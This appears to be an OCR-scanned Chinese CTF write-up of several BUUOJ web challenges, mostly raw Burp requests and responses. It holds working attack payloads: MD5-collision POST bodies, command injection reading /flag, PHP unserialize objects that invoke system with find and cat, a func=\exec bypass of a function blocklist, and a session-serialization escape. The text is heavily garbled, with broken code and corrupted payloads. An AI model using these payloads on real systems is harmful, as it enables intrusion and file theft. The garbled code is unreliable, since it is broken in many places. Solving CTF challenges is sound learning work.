&= =2 » A TZE | 63422197-7a61-4d80-a173-c87872a37020.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabESqYz0=8&cmd=

AHLEAA

"Web Yaal{ofEfesafy CTF iR EE ?

ERETAATE » 18

IR, BERwARSE, MEimgSH
B3 I ¥ :baseb4->baseB4->hex
48 555.png

J& T A I HE[E] 215 Blindex.php

import binascii

import base64

filename ().encode(encoding
binascii.b2a_hex(filename)

basel = base64.b64encode( )
base2 = base64.b64dencode(basel)
print(base2.decode())




v pythonProjecte D:\pythonProjecto # coding=gbk

> venv import
= main.py filename = input().encode(encoding="utf-8")
> 1l External Libraries hex = binascii.b2a_hex(filename)
o Scratches and Consoles hasel = baseé4.hé4encode(hex)

base2 = baseé4.bédencode(basel)
print(base2.decode())

Run: main
> C:\Users\2214347255\AppData\Local\Programs\Python\Python39\python.exe D:/pythonProjects,
y? index.php
- TmprMLpUWTBOa1lUzTORKbES6QTJIPRGNS
by |
- =¥ Process finlshed with exit code 0
Tilal:
JRAD B 5 )R e B

<img src=" data:imaze/sif:basetid, PDBwalARZE Tyba T femlb3 T 0a¥ SuREVEOUxNIHx AT Hd=RVIOT IR TO0Un0wmoZ ¥FkZXT 0T 2vbnR]1 bt i wZ To0ZXh 0L 2hOb¥w Y 2hhenlll a1 1d6Y +0C cpOwok T2 1k 1D 0 TF SHRVRbL T2t ZC ddOwmnZi AoT¥ z c2VORCREROVINydpbY e Skce fHwe 1¥1 2 c2VOECR RO
{atyle.

1
2
3

gd#

>
dy {

base64f#fY



<?php
error_reporting(E_ALL E_NOTICE);
)s
$_GET[ 1;
if (lisset($ GET[ D) isset($_GET[ 1))
header(
$file = hex2bin(base64 decode(base64 decode($ GET[ 1));

$file = preg _replace( , $file);
if (preg_match( , $file)) {
echo ;

)5

base64 encode(file get contents($file));
$txt

if (preg_match(
>, $emd)) {
echo(
echo
} else {
if ((string)$_ POST[ ] (string)$_POST[ ] md5($_POST[ 1 md5($_POST[ 1)) {
echo ;
} else {
echo (

html

style

body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:

style
body

body

html

EATEFEmMASIRRR ) Said -

if ((string)$_POST['a’] (string)$ POST['b'] md5($_POST['a']) md5($_POST['b'1)) {

T7 ¥ OBl 5E

POST:

2=7%4d%c9%68%ff%0e%e3%5c%207%95%72%d4%77%7b%72%15%87%d3%61%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%at%bf%a2%00%a

87%28%4b%T3%6e7%8e%4b%55%b3%5f%42%75%93%d87%49%67%6d%a0%d17%55%5d%83%60%fb%5f%07%fe%a2
b=7%4d7%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6F%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%at%bf%a27%02

287%287%4b%f3%6e%8e%4b%55%b3%51%42%75%93%d87%49%67%6d%a07%d1%d5%5d%83%60%b%5f%07%fe%a2




preg _match

$cmd

e, WE— YR

HTTE/L.1 200 OK

Server: openresty

Dates: Sun, 11 Apr 2021 01:44:13 GMT
Content-Type: text/html;charsst=utf-8

POST /index.php?emd=did HTTE/L.l
2 Host: £3422197-7afl-4d80-al73-c87872a37020.node3 . buucj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleW=bKit/537.36 (EKHTML, like Gecko)
Chrome/85.0.4183.121 Safari/537.36 Content-Length: 186
S Accept: Connection: close
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*; q 7 Refresh: O;url=./index.php? img=TXpVekSUTTFHLVUzTURabES Y208 cmd=
® Vary: Accept-Encoding
X-Powsred-By: PHP/7.1.33

ES

pplication/signed-exchange ;v=h3;q=0.9
& Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9 10

Connsction: close 11 <img sre='data:image/gif;base&d, '>
Content-Type: application/x—www-Eorm-urlencodsd </ img>

10 Content-Length: 362 <br>

11 dir<bhr>

1z & 535.png  bj.png ctf3.jpeg indesx.php
$4c3cO%e08fE80=%23 85082039587 28d4%7 78 7hE72%15%078d33EE3aT78b2 % b o568 734a83d%c0%70832%7h %0 12 <html>
f3hf%aZ800%aB22084b%£3%86280284b355%b385£%4248758038d0%40%E736d%a08dl35585d803%60%Eh85£307% 8 13 <style>
ah= body {
$4d%c0%608ffR0=%=385c820%05%728d4%77%7b872%15%078d3%6f%a78b2%1bedc856807%4a83d%c0%7083=87h4%0 background:url(./bj.pngl no-repeatcentercenter;
f3bf%al802%a0%2034b%f3%6=30=84b%558b335f%42875%8033d0%40%E7%6d%a0%d18d585d%03%60%fb35£%07%f8 16 background-size:cover;

1 background-attachment:fixed;
13 background-color :#CCCCCC;
}
</stylex
<body>
</body>
</html>

HEH. o
IR B T #kflag:

1 POST /index.php?cmd=dir$20/ HTTE/L.l 1 HTTP/1.1 200 K

Host: £3422197-7abl-4d80-al73-c87872a37020. node3 . buuoj.cn Server: openresty
Upgrads-Insecure-RPequests: 1 Date: Sun, 11 Apr 2021 D1:44:50 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4) AppleW=bKit/537.36 (KHTML, like Gecko) 4 Content-Type: text/htwl;charset=utf-g
Chrome/85.0.4183.121 Safari/537.3¢ Content-Length: 3E1

S Accept: ¢ Connection: close

text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, imags/apng, */*; q 7 Refresh: D;url=./index.php?img=TXpVekSUTTFNLVUzTURAbESqYz0acmd=
pplication/signed-exchange;v=h3;¢=0.9 Vary: Accept-Encoding

Accept-Encoding: gzip, deflate X-Powersd-By: PHP/7.1.33

Accept-Language: zh-CH, zh;q=0.9

)

Connection: close 11 <img src='data:image/gif;basefd, '>
Content-Type: application/x-www-form-urlencoded </ img>
| Content-Tength: 382 <br>
dir /<br>

2 e bin dev fl#ff" libmedia opt root shin sys usr

34d%c0%E0 28028238508 20805872%d4%87787b3 72815307843 86£%a78b281b3dc 35630 734a%3d8c087048387he0 boot etc home libE4 mnt proc  run sEV tmp  wvar
f3bf%al800%aB%2084b%f31%6=%02%4b 855803 85f 842875803 %d0840%F726dA%a0%c 1855854803 860%fbe5£807%F=% <html>

&b= <style>

$4d%c0%60%ff30=82385c820805872%d4%7787b32 72815807343 86£%a78b281bRdc356%b734a%3d%:08708387h 40, body |

£8hF3a2 80288428 84b 43 BE38e84b8558b385F 842875803 8d8BA0RETREABa0EA1Rd585d853 860 Fha5FR0TRES background:url(./bj.png) no-repeatcentercenter;
1 background-size:cover;
background-attachment :f ixed;

background-color : fCCCCCT;

}
</style>
<body>
</body>

</html>
:Eiiyﬂﬂéig ’ t;gigl:
M catz J5, cmd=/bin/c\at%20/flag

1 POST /index.php?emd=/bin/c\at$20/flag HTTE/L.1 HTTP/L.1 200 OK

Host: £3422197-7a6l-4d80-al73-c87872a37020.node3 . buucj.cn Server: openresty
Upgrade-Inssecure-Requests: 1 3 Date: Sun, 1l Apr 2021 Ol:46:16 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x£4) AppleWebKit/537.3€ (KHTML, like Gecko) Content-Type: text/html;charset=utf-8
Chrome/85.0.4183.121 safari/537.36 Content-Length: 303

Y
o

5 Accept: € Connection: close
text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, * /* ; q 7 Refresh: O;url=./index.php?img=THpVekSUTTFNbVUzTURabESqYz06cmd=
pplication/signed-exchangs;v=h3;¢=0.9 2 Vary: Accept—Encoding

¢ Accept-Encoding: gzip, deflate o X-Powered-By: PHE/7.1.33

7 Accept-Language: zh-CHN, zh;c=0.9 10
Connection: close 11 <img src='data:image/gif;bas=64, '>
Content-Type: application/x—www-form—urlencods=d </ img>
Content-Length: 362 <br>

1 /bin/clat /flag<be>

ERES flag{ZbeSed43-e598-45de-aZ 14-8479dE8 15235}
$4d%cO%E03EE302%2345c220%95%728d4%7787b3 7281580 7%d336E%a78b2% b 2de$568b734a%3d%c087083=237h %0 <html>
£3hE%al800%a0220%4b3£336=302%4b 85580 3%5£842875%03 84034086 786d3a0%d1855%5d%03360%£h35£307%£=% 3 <style>
sb= 12 body {
$4cd%cO%608ff3028=385c820%058728d4%7787h3728158873d3%6f%a78b2%1b%dc356%b784a%3d%0%7083=37h%0 15 background:urli./bj.png) no-repeatcentercenter;
f2hf8aZ802%aB0%2084b8f3863084b8558b385f8428758038dB3409%6786d%a0%d18d585d%83860%fh35E307814%, 16 background-size:cover;

1 background-attachment : fixed;
background-color:#CCCCCC;




[ 5 45 2020 2k 2 4 Jphpweb

1L EREIME, ZIATUES.

\n Actions

1 [PosST /index.php HTTE/1.1

3 Content-Length: 29
Cache-Control: max-ages=0

5 Upgrade—-Insecure-Requests: 1

Content-Type: application/x-—www—form—urlencodsd

Chrome/85.0.4183.121 Safari/337.3¢
Accept:

</style>

<body>

</body>
</html>

> Host: 15651led0-7273-4aa8-8d50-0ad47fadacflE. noded . buucj.cn

Origin: http://13651ed0-7273-4aa8-8d50-0a47fadacf0E. node3 . buuej.cn

© User—Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x£4) AppleWebKit/537.3€ (EHTML, like Gecko)

text/html, application/xhtml+xml, application/=xml; q=0.9, image/avif, image/webp, image/apng, */* ;i

pplication/signed-exchanges;v=h3;=0.9

10 Referer: http://15651ed0-7273-4aa8-8d50-0ad47fadacf0E . nod=3 . bunuoy.cn/index. php

Accept-Encoding: gzip, deflate
2 Accept-Language: zh-CN, zh;c=0.9

13 Connection: close

15 func=datesp=¥-m-d+h%3Ai%3As+a

PuATfile_get_contents. FILLE Flindex.phpIEARIG. BEA — N0 KEE, JIESERTHERKRRS. THa—1%,

HEA ViR Hfunc, USSR B RF I E 6 AT -

Pretty - n Actions ¥

POST /index.php HTTP/1.1

Host: 15£51ed0-7273-4aaf-8d50-0ad7fadacflE. node3.buuoj.cn

Content-Length: 34

Cache-Control: max—age=0

; Upgrade-Insecure-Requests: 1

& Origin: http://1565led0-7273-4aa8-6d50-0ad7fadacf0é. node3 . buuaj.cn

Content-Type: application/x—www-form-urlencodsd

& User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; zE4) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/85.0.4183.121 Safari/537.3€

Accept:

] text/html, application/xhtml+wml, application/xml; 0.9, image/avif, image/wehp, image/apng, */*; q

3 e

pplication/signed-exchange; v=h3; g=0.9
o Referer: http://15651ed0-7273-4aaB-Bd50-0ad7fadact0é.node3 buuoy.cn/index. php
Accept-Encoding: gzip, deflats
Accept-Language: zh—CHN, zh;q=0.9
; Connection:

1]

close

func=file_get_contentssp=index.php

T

JF8%  Render

<body>
<script language=javascripts

n Actions

setTimeout ("document. forml . submit () ",5000)
</script>
<p>

<7php

disable_fun = array("exec”,"shell exec”, "systen”, "

function gettimei$func, $p) {

§result = call user_func(§func, §p);

§a= gettype (fresult);

if (§a == "string") {

return fresult;

} else {return "";}
i
class Test {
var §p = "Y-w-d hii:s a";
var §func = "date";
function _ destructi) {
1if (§this->
fune 1= "My (
echo gettime(§this->fune, §this->p);
}
€6 )
€7 }
§func = §_REQUEST["func"];
$p = §_REQUEST["p"];

if ($func != null) {

$func = strbolowsr (§func) ;

if ('in array(§func, §disable_fun)) [
=cho gettime($func, $p);

Jelse {

die ("Hacker...
7 }

"

passthru

", "proc_opsn", "

sho

T

L




function gettime($func, $p) {
$result = call user func($func, $p);
$a= gettype($result);
if ($a ) {
return $result;

} else {return 5+

)i
class Test {
var $p
var $func :
function _ destruct() {
if ($this->func ) {
echo gettime($this->func, $this

$func $ REQUEST[
$p = $_REQUEST[ 15

if ($func null) {
$func strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die( )§

var $func ;
function _ destruct() {
if ($this->func ) {
echo gettime($this->func, $this

$a=new Test();
echo serialize($a);

p);




Pretty - n Actions

1 POST /index.php HTTE/L.L

2 Host: 15651ed0-7273-%aad-8d50-0ad7fadacflé . nods3 . bunol.cn

Content-Length: 75

Cache—Control: max-age=0

Upgrads-Insscure-Requests: 1

Origin: http://15651=d0-7273-4aaB-8d50-0a47fadacf0E. node3 . buuoy.en

Content-Type: application/x-wwwform-urlencoded

¢ User-Agent: Mozilla/5.0 (Windows NT 10.0; WinEd; xE4) AppleWehKit/537.3E (KHTML, like Gecko)
Chrome/85.0.4183.121 Safari/537.36

Accept:

text/html, application/zhtml+xwl, application/xnl; g=0.9, image/avif, image/wehp, image/apng, */* ; q
pplication/signed-exchangs;v=bh3;=0.9

) Referer: http://1565led0-7273-4aa8-8d50-Dad7fadacf0E . node3 . buucy. cn/index. php
1 Accept-Encoding: gzip, deflate

2 Accept-Language: zh-CN,zh;c=0.9

5 Conmection: close

:"systdm”

func=unserializesp=0: "func"

</body>
</html> r{
EREABlag?EH . Mitexp.
nc=unserialize&p=0:4 s:1 s:4 s:6

JF¥5  Render n Actions ~

7 X-Powered-By: PHP/5.5.38
¢ Content-Length: 583

<!DOCTYPE html>
<html>
<head>
<title>
phpueh
</titlex
<style type="text/css">
body {
background:urLl({"hg. 9pg”)no-repeat;
background-size: 100%;
}
Pl
color:white;
}
</style>
</hezad>

<body>
<script languags=javascript>
setTimeout ("document . forml . submit ()", 5000)

</script>
<p>
hg.3pg
index.php
index.php
</p>
<form  1d=forml name=forml action="index.php" method=post>
<input type=hidden id=func name=func value='date's
m-d hii:s a'>

<input type=hidden id=p neme=p valus

Actions ¥

1 POST /index.php HTTP/L.l

Host: 15651led0-7273-4aab-B8d50-0a47fadacf06. noded buuoj.cn
Content-Length: 98

4 Cach=—Control: max-age=0

Upgrads-Insscurs-Requests: 1

& Origin: http://15651=d0-7272-4aa8-8d50-0a47fadacf0E. node3 . buuoy . cn

Content-Type: application/x-www—form—urlencoded

© User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; xE4) AppleWebKit/537.36 (KHTML, like @ecko)
Chrome/85.0.4183.121 Safari/537.36

o Accept:
text/html, application/xhtml+xml, application/xml; g=0.9, image/avif, image/webp, imag=/apng, */*; q
pplication/signed-sxchange;v=h3;q=0.0

10 Referer: http://15651edD-7273-4aa8-8d50-Dad7fadact0é . node3.buuoi.cn/index . php

11 Accept-Encoding: gzip, deflate

Accept-Languags: zh—CH, zh; q=0.8

Connection: close

func=unserializesp=0:4:"Test":

Actions %

1 POST /index.php HTTP/L.1
2 Host: L5651=d0-7273-4aaB-8d50-Dad7fadacfls.nods3 . bunci.cn
Content-Length: 34
4 Cache-Control: max-age=0
5 Upgrade-Insecure-PRequests: 1
Origin: http://15651ed0-7273-4aal-8d50-0ad7fadacf0E. nod=3 buuaj.cn
Content-Type: application/x—www-form-urlencoded
User—-Agent: Mozilla/5.0 (Windows NT L0.0; Winf4; x€4) AppleWebKit/537.3€ (KHTML, like Gecke
Chroms/85.0.4183.121 safari/537.36
Accept:
text/html, application/xhtml+sml, application/mol; ¢=0.9, image/avif, image/webp, image/apng, * /* ; q
pplication/signed-exchangs;v=h3;¢=0.9
Referer: http://156512d0-7273-4aa8-8d50-0ad7fadactis. noded . buuoy. en/indes. php
Accept—Encoding: gzip, deflate
Accept-Language: zh-CN, zh;q=0.9
Connection: close

5 func=readfilesp=/tmp/flagosfindrol

L
v

o RHMLE

i{s:1:"p";=:18: "£ind%20/820-name820flag*";s:4: "func";s: 6: "sys{

T

@& (<l

JB%  Render \n Actions ~

/sys/devices/plattorm/serialiZsl/ tby/ tEyS3U/ tlags
/sys/devices/platform/serial8250/tty/ttysl/flags
/sys/devices/platform/serial8250/tty/tty320/flags
/sys/devices/platform/serial8250/tty/ttys10/flags
Jsys/devices/platform/s=rialf250/tty/ttysi9/flags
/sys/devices/platform/serial8250/tty/ttysl/flags
/sys/devices/platform/serial8250/tty/teys19/flags
Jsys/devices/platform/s=riald250/tty/ttysi7/flags
Jsys/devices/platform/seriald250/cty/trysl7/Elags
/sys/devices/platform/serial8250/cty/ttyss/flags
/sys/devices/platform/serial8250/tty/tEys25/flags
/sys/devices/virtual/net/ethl/flags
Jsys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/tmp/flagoefindrold
/tmp/Elagosfindral

</p>

<form id=forml name=forml action="index.php" methodepost>

<input type=hidden id=func name=func value='date '>

101 <input type=hidden id=p name=p value='t-m-d h:iis a'>
</bady>

</html>

A Ll [ Teaarmn

Bts Render  'n

body |
background:url{"bg.1pg") no-repeat;
background-size: 100%;

}

pi
coloriwhite;

Actions

}
</style>
</head>

<body>

<script languags=javascript>
setTimeout ("document . forml. submit () ”,5000)

</script>

<p>
flagi2lcdccla-94c0-487a-S=Ec-d904atE7Eadh)

</p>

<form id=forml neme=forml action="indsx.php" method=post>
<input typ
<input type=hidden id=p neme=p valus='Y-m-d h:i:s a'>

idden i unc name=func value='date'>

</body>
</html>

T

AT TR




- “ s o o - o I
n Actions - JF44  Render n Actions
1 POST /index.php HTTE/L. 1 a5t aLad
2 Host: 1565led0-7273-daa8-8d50-0ad7fadac 06 . node3 . buuod . cn r 4143
s Content-Length: 107 4143
4 Cache—Control: max-age=0 4143
5 Upgrade-Insecure-Recuests: 1 4143
& Origin: http://15651ed0-7273-4aa8-8d50-DadTfadact0E . noded . buuoy . cn 1143
7 Content-Type: application/x—www-form-urlencoded 4143
o User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; x£4) AppleWebKit/537.36 (KHTML, like Gecko) 4143
Chrome/85.0.4183.121 Safari/537.36 1143
o Accept: 1143
text/html, application/xhtml+xml, application/sml; q=0.9, image/avif, image /webp, image/apng, */* ; 33;03

pplication/signed-sxchange;v=h3;q=0.0
10 Referer: http://15651ed0-7273-4aa8-8d50-0ad7fadact0E . noded . buuoy. cn/index. php
Accept-Encoding: gzip, deflate
Accept-Tanguage: zh-CH, zh;c=0.9
close

Connection:

15 func=unserializesp=
Test”:2: "

S:"cat$20$ (£ind$20/$20-name$20flagh) ";s:4: "Eunc”;5: 6: "system”; |

N
e FIE SR o

=
v

TR

cdccla-94c0-497a-9s6c-d904ateTeadb}
cdccla-94c0-497a-9e6c-dS04ateT6adb}

id=forml name=forml action="index.php" method=post>

<form

<input type=hidden id=func name=func value='date's>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>

o </hody>
71 </html>

A e

A Sk

1 POST /index.php HITP/1.l

Host: 15651ed0-7273-4aa8-8d50-0ad7fadacf0f. noded . bunoj.cn

Content-Length: 15

4 Cache-Control: max-age=0

5 Upgrade-Insscure-Requests: 1

Origin: http://15651ed0-7273-4aa8-8d50-0a47fadacf0i. node3 .buuoj.cn

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; xE4) AppleWehEKit/537.36 (KHTML, like Gecko)

Chrome/65.0.4163.121 Safari/537.36

o Accept:
text/html, application/xhtml+xnl, application/xml; q=0.9, image/avif, image /weby, image/apng, */* ;g
pplication/signed-exchange; v=h3;¢=0.9

) Referer: http://15651ed0-7273-4aaf-8d50-0a47fadacflf . node3 .buuoj.cn/index. php

Accept-Encoding: gzip, deflate

Accept-Language: zh—CN, zh;q=0.9

L5 Connection:

close

|5 func=\execap=1h

eHflag:
func

[De1CTF 2019]SSRF Me

Hint

flagisin./flag.txt

from flask import Flask

body{
hackground:url("hg.9pg"| ne-repeat ;
hackground-size: 100%;

}

pl
coloriwhite;

</style>
</head>

<hody>
<script language=javascript>
setTimeout ("documsnt . forml. submit () ,5000)
</script>
<p>
index . php
</p>
<form
<input type=hidden id=func name=func value='date's
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

id=forml name=forml action="index.php" method=post>




from flask import request

socket

hashlib

urllib

sys

0s

json

(sys)
sys.setdefaultencoding(
app = Flask(__name_ )
secert_key = os.urandom(16)
class Task:

def _ init_ (self, action, param, sign, ip):

self.action action

self.param param

self.sign sign

self.sandbox = md5(ip)

if (not os.path.exists(self.sandbox)):
os.mkdir(self.sandbox)

Exec(self):

result {}

result[ ] 500

if (self.checkSign()):

in self.action:
tmpfile (
resp scan(self.param)

if (resp
result[
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result[ ] 200

in self.action:

self.sandbox,

f ( self.sandbox,

result[ 200
result[ f.read()
if result| 500:
result[
else:
result[
result[
return result
checkSign(self):
if (getSign(self.action, self.param)

return True

else:

return False

@app.route( , methods=[
def geneSign():

param = urllib.unquote(request.args.get(

action

return getSign(action, param)

self.sign):




@app.route( , methods=[ D)
def challenge():
action urllib.unquote(request.cookies.get(
param = urllib.unquote(request.args.get(
sign = urllib.unquote(request.cookies.get(
ip request.remote_addr
if (waf(param)):
return
task Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route( )
def index():
return ( ).read()
def scan(param):
socket.setdefaulttimeout (1)
try:
return urllib.urlopen(param).read()[:50]
except:
return
getSign(action, param):

return hashlib.md5(secert_key param action).hexdigest()
md5 (content):

return hashlib.md5(content).hexdigest()

waf(param):

check param.strip().lower()

if check.startswith( ) or check.startswith(
return True

else:
return False

if _ name_
app.debug False
app.run(host




—MlaskfXig. #nflagEflag.txt
BFHAMG AT LUIES . B H/geneSignfl/Delta

@app.route("/geneSign", methods=['GET', 'POST']) # !!!X/AE& R FlHR

def geneSign(): ‘\\b
param = urllib.unquote(request.args.get("param”™, ""))
action = "scan"”
return getSign(action, param)
# hashlib.md5(secert_key + param + action).hexdigest()
# hashlib.md5(secert_key + param + "scan").hexdigest()
@app.route('/Delta', methods=['GET', 'POST']) # XNMEKHEFKIFHERLE

N b N

def challenge():

FEE AP ANREAIE T _EHEEKTask

if (waf(param)):
return "No Hacker!!!!I"

task = Task(action, param, sign, ip)

paramfESE S dwaf (OO , waf(yi#ll S HparamF kA GEH "gopher" F1"file"

SR Jareturn json.dumps(task.Exec())

task R IExec OO Jiks/areturn result, RATEMR IpEiEfagRiresult>CBt, A5 HiAH 2 Treturn flag.
BRI RE B8 T Exec() 5 ik B Fh b if 2y

ZH—~ if (self.checkSign())

[%#1# 2019]easy_serialize_php



<Yphp
$function = @3 GET[ £ ];

function filter($img) |
$filter arr = array( php’, flag', phpd, phpd’, £f11g° ),
$filter = "/ . implodel |, $filter_arr).’ /i
return preg_replace($filter,’’, $img):

1£(3 SESSION) {
unset (3_SESSION) ;

1
3 _SESSION["user™] = 7 suest’
3 _SESSION[ function’] = $function;

extract ($_POST);
10 $function) |

echo ' <a href="index. php?f=hiszhlizht file”rsource_coded/a>’ ;
}

1f('3 GET imz_path’ 10
$_SESSION[ imz’ ]

basefd encode ! guest_ims. png’ )

telsef
$_SESSION[ imz’] = shalibasefd_encode(3_GET[ imz_path’ 1))
}
$serialize_info = filter(serialize($_SESSION));
if(function ==  hisghlisht_file’ ) {
highlisht_file( index.php J;
lelse if(§function == ' phpinfo’ )|
eval ( phpinto():’ ) /ffmaybe vou can find something in  here!
telse if(§function == show image’ )1
fuserinfo = unserialize($serialize_infol;
echo  file_get_contents(basefd decode(Juserinfol’ img’ 1)),
}
BRI E T

1 filter 8 $mh 2 IE W UL AR /phplflag|php5iphp4ifi1g/i £ #: A%

2. %sessionWliEtt, EsessionFFI4k T 4R 5 A A filteridi £

($h78: extractihi®: KLZEMFHAT FALRHF SR, XEHRLIEpostEid B 1 HUH R iphpZ &, #itbanEfIpostts
a=123 MEL T XN KB R T

n= 192 i HrBpil ZeAc B A nhax il /738 22 ek B T AR B EX2ER ) 2 BEEmAANE T I

i mn | 3




B —EUR A, fopen. disable_. root&%. F _ATER T MR XML . OEEFMIXEGEUR N EEIT)

arg_separator.output & &
auto_append file d0g3 flag.php d0g3 flag.php
auto_globals jit On On

auto prepend file no value no value
browscap no value no value
default_charset UTF-8 UTF-8
default mimetype text/html text/html
mclasses no value no value

BV R4, ViRAHR, BIRZATRIEAMREAfle_get contentsii %, HEMRERAITEIIZAMT .

if($function == "highlight file ) {
highlight_file( index.php’);
Jelse if($function == 'phpinfo’ ){
eval ( phpinfo();’); //mayl
Jelse if($function == ’show_image ){
$userinfo = unserialize(3$serialize_info)
echo file_get_contents(basefd_decode(Juserinfol’ img’ 1))

o |

RERA R, $function AT LUE $f BEBRE.
IAEBRNIEE base64_decode($userinfo[ ‘img’ ])=deg3_flag.php -
FABLE $userinfo[ ‘img’ 1=ZDBnM19mMWFnLNBoCA== .

T $userinfo MBI $serialize_info FFILFKHI .
$serialize_info N RIEiT session FFAIMLZ G BT IEERE .

sessionE T fHimg7EiX BER{E, AT EIESHisha1midf, ZIRES G ibase64f % 7. XEMB T —MHEST .

if(1$_GET[ img_path ]) {
$_SESSION[ img’ ]
lelsel
$_SESSION[ img’ ]

baseb4_encode( guest_img.png ).

shal(basefd_encode (3_GET[’ img_path 1)),

[a—

BMNED LEOSEES, B —SKERNFERFEERANO
H#EFEpayload /-

SESSION[user]=flagflagflagflagflagflag& SESSION

19mMWFNLnBocA

HAEREREHNE, FTUERUDERXFERERE. REsessioniFHAINZ ERBRIXHE: (FRFESRECMK, FE
BEHERE, FH5ERRIMMENZEME

s:8 S:68 s:8

L3VwbG9hZC9ndWVzdF9pbWcuanBn"

REXBFHBELTERBLZ)E, SBR:



s:24 s:8 S:68 s:8

img L3VwbGOhZCO9ndWVzdF9pbWcuanBn"

AUESR, 24/5HK6 MagE BH AT T, HEBENKELRR24, EANE? ELERR, NEHAKS, HEHE24ANF
o BRZIGRM T XM

s:8 S:68 s:8

L3VwbGOhZCOndWVzdF9pbWcuanBn"

E, BEEMFRFERTR T userfifE, XEERANTE A MfunctionZHMimgS$, MIEENSHERET .

EERKR, BRENABMWPEEfunctionZHt 2] I, HRUWHEZEEINSH, FA—FGEFILNEHEREE THE3INSH
getft f=show_image,

postf:

SESSION[user]=flagflagflagflagflagflag& SESSION[function]=a function H9_dawn

19mMWFnLnBocA

1 Pretty n Actions VN [ Render n Actions %
f
1 POST /index.php?f=show_imade HITE/L.l A| 1 HTTP/L.1 200 OK
2 Host: 97013 1laa—1285-493f-abB7-bfl001ldedded. noded . buuoj.cn r 2 Server: openresty
1 3 Upgrade-Insscure-Requests: 1 5 Date: Sun, 1l Apr 2021 08:35:20 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4) AppleWshKit/537.36 (KHIML, like Gecko) 4 Content-Type: text/html; charset=UIF-§
Chrome/85.0.4183. 121 Safari/537.36 S Content-Length: 43
5 Accept: & Connection: close
text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; g 7

pplication/signed-exchange;v=h3;q=0.8 2 flag{bl454230-5848-4386-a516-92a593ccaBbl}
1 e Accept-Encoding: gzip, deflate k

7 Accept-Language: zh-CN, zh;q=0.9

2 Connection: close

S Content-Type: application/x-www-form-urlencoded
10 Content-Length: 145

12 f=show images SESSION[user]=flagflagflagflagflagflags SESSION[function]=
a";s:B:"function”;s:7:"HI_dawn";s:3:"img";s:20: "L2QwazNEZmxshExshGEn" ; } &=

SWPUCTF2019 web1

BHRERRANERTE, EMET, HANTERE, NMEERDME, FHRsqUEARBILY, FMTEIEEN.

BEMEIR T JL4-payload, & Blorder,and,or&f #1397 . HTorderdiidi€ T, %M order by FRIHIWT BARRMFIE T . X BEHZ
BB, XAEEBEBH RN ERE 22N TFEB A2, 352 ERT

SIFE
s rEmE "

2 3 REEREIA



=iFE

&3 &RE K2
2 web1 5E
1
webl 1 1

{H R informationtitid #€ T, s£hr ERorgid €T, SForder, or, informationX ML IET . MELEREL? M EHER
5B mysqlfES. 7T A 2 JG iR B — A sys & Zi & sys.schema_auto_increment_columns, {E M linformation_schemaZ LK -

=
=

{ERIR T — T IR4E, T disys.schema_auto_increment_columnsiX N EARNTELE . 1B R ARIE R AR5 502 T IR 48 7 40
mysql.innodb_table_statsix MR WA LAAH, A Finformation_schema

=
[ay

e
g amE

2 ads,users



BTG
FEE ERE

2 3,flag{98fcafb6-04d1-4b03-a161-7f43739fd2cc}), 53e217ad4c721eb9565cf25a5ec3b66e,6b531bfO923d53cf1ccd85c26dd2bb4t

[#5 % Kk k% 2019]PHP

H LB Y S YR A 6 3 SO 1 B A

import requests

for i in listl:
for j in list2:
back (1) (3)
url (urll) back
print(back , end )

print(requests.get(url).status_code)

B A &R R AR A S & EELok, AT ARA — A RAT 6 & M 5669 3] IR
rRAL! 1!




——rTTTwTTIN e

> 1 back.rar 404
& b www.tar 404
— B . .
= www.tar.qz 404
.y ww, z;l' o 200
=  www.rar 404
=  wwwroot.tar 404
e

AR T B - ESEE

- (EERER) s
2019-10-14 07:23
«/flag.php 1KB 1KB PHP =% 2019-10-14 08:44
«/)indexjs 103 KB 36KB JS=tf 2017-11-06 04:26
«/)index.php 18KB 1KB PHP 3z 2019-10-14 08:34
% | style.css 1KB 1KB EEE=aE 2017-11-06 04:26

flag.php B [ & —Miflag
#TFFindex.php:

<QIV STyle="TeXT-SNadOW:UPX UPX SPX;TO
<?php

include 'class.php’;
$select = $ GET['select’];
$res=unserialize(@ $select);
?>

</div>

$TFFclass.phpf3-3):



error_reporting(9);

class Name{
private $username

private $password

public function _ construct($username, $password){
$this->username $username;

$this->password $password;

function _ wakeup(){

$this->username

function _ destruct(){

if ($this->password 100) {
echo
echo ;
echo $this->username;echo
echo ;
echo $this->password;echo
die();

}

if ($this->username
global $flag;
echo $flag;

}else{
echo
die();

MR HEindex.php Al BA%13E E {# password=100FTusername="admin’ 347 F 51k :

<?

class Name

{

private $username
private $password

s

$a new Name();
echo serialize($a);




ex.phprsele

[BJDCTF2020]Easy MD5

C A F7%&% | 4942ecd6-ece0-496a-a80a-3213218falf0.node3.buuoj.cn/leveldod.php

e
EIMBREE, ERER:
